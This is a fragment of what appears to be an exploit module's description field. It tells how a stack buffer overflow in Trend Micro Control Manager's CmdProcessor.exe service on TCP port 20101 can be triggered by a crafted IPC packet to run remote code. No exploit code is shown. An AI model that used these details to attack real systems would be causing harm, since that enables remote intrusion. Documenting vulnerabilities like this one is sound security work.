'Description' => %q{  
This module exploits a vulnerability in the CmdProcessor.exe component of Trend  
Micro Control Manger up to version 5.5.  
  
The specific flaw exists within CmdProcessor.exe service running on TCP port  
20101. The vulnerable function is the CGenericScheduler::AddTask function of  
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,  
controlled data is copied into a 256-byte stack buffer. This can be exploited  
to execute remote code under the context of the user.
